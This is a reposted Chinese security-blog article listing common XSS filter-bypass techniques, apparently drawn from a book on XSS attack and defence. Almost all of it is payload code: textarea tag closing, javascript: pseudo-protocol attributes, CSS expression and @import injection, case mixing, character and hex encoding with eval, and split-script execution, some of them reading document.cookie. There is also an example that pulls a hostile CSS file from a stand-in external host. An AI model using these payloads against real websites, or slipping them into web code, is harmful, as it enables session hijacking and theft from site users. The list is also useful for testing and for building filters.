技巧 | XSS的常见绕过方法
Posted HACK学习呀
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了技巧 | XSS的常见绕过方法相关的知识,希望对你有一定的参考价值。
测试XSS常用的一些常用代码:
<script>alert('XSS test')</script>
“<script>alert('XSS test')</script>
<script>alert(document.cookie)</script>
javascript:alert(document.cookie);
<textarea>标签绕过:
后台在处理数据的时候echo '<textarea>'.$a."</textarea>"; 代码被放在了文本框内
那我们就可通过闭合标签绕过 </textarea><script>alert("xx")</script><textarea>
利用html标签执行XSS:【浏览器必须支持伪协议 如:IE6】
<img >
<table background="javascript:alert('xss')"></table>
<a href="javascript:alert('xss')">点击触发</a>
空格回车TAB绕过:
<img src = "java script:alert('xss')"> 中间的空格为TAB。
<img word-wrap: break-word;">vascript:alert('xss')"> 通过回车分隔
ASCII转码:
<img > i的的ascii编码是i 此方法只能运用在HTML标签中
利用HTML中的事件触发XSS:
<img > 当src引用的图片不存在 触发onerror事件 (这也就是@m01lym0on 所用到的方法)
利用CSS跨站:
<div style="background-image:url(javascript:alert('sss'))">
<style>body{background-image:url(javascript:alert('saaa'))} ;</style>
<img style="xss:expression(alert('ssss'))">
如果style被禁:
<div style="list-style-image:url(javascript:alert('xxx'))">
<img style ="background-image:url(javascript:alert('sss'))">
外部引用含有XSS的CSS文件:
在www.xxx.com/1.css里写入通过link引入
p{
background-image:expression(alert('xss'))
}
在目标站通过link引入
<link rel="stylesheet" href="www.xxx.com/1.css">
通过@import直接执行javascript代码:
<style>@import “javascript:alert('sss')”;</style>
大小写混淆绕过:
<img >
不用空格:
<img/src="javascript:alert('sss')">
通过全角字符绕过:
<div style="left:expression(alert('xx'))">
通过/**/,\0混淆过滤:
<img st/**/src ="javascript:alert('sssa')">
<style>@i\0mport "javascript:aler\0t('sss')";</style>
利用字符编码绕过:
<img > 10进制转义
<img > 16进制转义
<script>eval("alert('xaaa')")</script> 通过eval()函数执行js
<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x78\x78\x78\x27\x29")</script> 16进制转码后通过eval函数执行
<img > eval()配合String.fromCharCode()函数执行10进制脚本
代码拆分执行:
<script>z='javascript:'</script>
<script>z=z+'alert(/xxss/)'</script>
<script>eval(z)</script> 可绕过字符长度限制
-------------------------
以上都是在《XSS跨站脚本攻击剖析与防御》学习到的绕过方法
没事多看看书,永远不亏!
以上是关于技巧 | XSS的常见绕过方法的主要内容,如果未能解决你的问题,请参考以下文章